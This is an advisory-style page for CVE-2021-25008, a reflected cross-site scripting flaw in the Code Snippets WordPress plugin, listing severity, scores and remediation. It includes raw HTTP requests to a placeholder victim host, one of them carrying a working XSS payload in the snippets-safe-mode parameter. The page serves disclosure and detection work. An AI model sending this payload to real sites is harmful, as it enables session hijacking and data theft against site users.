| Title | The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting |
|---|---|
| Author | cckuailong |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03359 |
| CVE ID | CVE-2021-25008 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 authenticated wpscan xss wp wordpress wp-plugin codesnippets vuln |
The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=J8bDKm&pwd=Az1kdU&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25008.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25008.pcap
N/AN/A